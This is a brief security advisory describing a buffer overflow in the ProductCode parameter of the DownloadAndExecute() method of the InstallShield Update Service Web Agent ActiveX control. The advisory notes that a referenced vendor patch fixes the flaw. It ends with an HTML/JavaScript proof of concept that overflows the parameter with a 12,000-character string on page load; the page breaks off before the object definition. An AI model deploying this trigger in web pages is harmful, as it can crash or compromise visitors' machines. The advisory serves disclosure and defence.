`The InstallShield Update Service Web Agent version 5.1.100.47363 suffers from an  
exploitable buffer overflow in the ProductCode parameter of the DownloadAndExecute()  
function. This object is marked safe for scripting. Note that this issue appears to different  
from http://www.securityfocus.com/bid/26280(the iDefense advisory seems to be talking about insecure methods), however, the patch referenced in that  
issue fixes this issue as well since the update renders this object unsafe for scripting.  
PoC as follows:

<!--

<html>  
<head>  
<script language="JavaScript" DEFER>  
function Check() {  
var s = 'A';  
  
while (s.length <= 12000) s = s + 'A';  
  
obj.Initialize("", "", "", "");  
obj.DownloadAndExecute("", s, 0, "", "");  
  
}  
</script>  
  
</head>  
<body onload="JavaScript: return Check();">
